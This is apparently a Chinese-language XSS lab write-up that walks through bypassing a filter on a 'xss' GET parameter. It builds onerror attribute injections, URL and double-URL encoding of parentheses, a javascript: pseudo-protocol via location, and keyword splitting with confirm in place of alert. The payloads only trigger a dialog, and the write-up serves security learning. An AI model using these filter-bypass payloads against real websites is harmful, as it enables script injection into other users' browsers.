一 、过滤了特殊符号
观察源码,可以看出源码中通过get传参到变量xss,并将一些特殊符号过滤了,则后续需要考虑该规则的绕过
echo “”;
img标签
如果img图片不存在时会触发onerror,则会弹窗1
在url输入?xss=aaa" οnerrοr="alert(1)
但是过滤了(),所以不能弹窗。
然后我们考虑urlcode编码绕过
?xss=aaa" onerror="alert%281%29
也还是不行,因为浏览器最终也还是转变成了(),还是被过滤掉了。
?xss=aaa" onerror="alert%25281%2529
也还是不行,由于onerror是一个js函数,而在js中不能编码符号,所以onerror在此时不生效,所以需要利用location伪协议
?xss=aaa" onerror=location="javascript:alert%25281%2529
二、过滤了特殊符号和关键字
由于过滤了关键字,前面的alert javascript 用不了了,而关键字绕过的方式有很多,可以利用替换以及拼接的方式进行绕过,拼接时也要注意双引号的闭合,将alert替换为confirm或者prompt 进行弹窗
拼接javascript
“javasc”+“ript”
用confirm函数代替alert
urcode不能编码符号,所以用2b代替
?xss=aaa"onerror=location="javasc"%2b"ript:confirm%25281%2529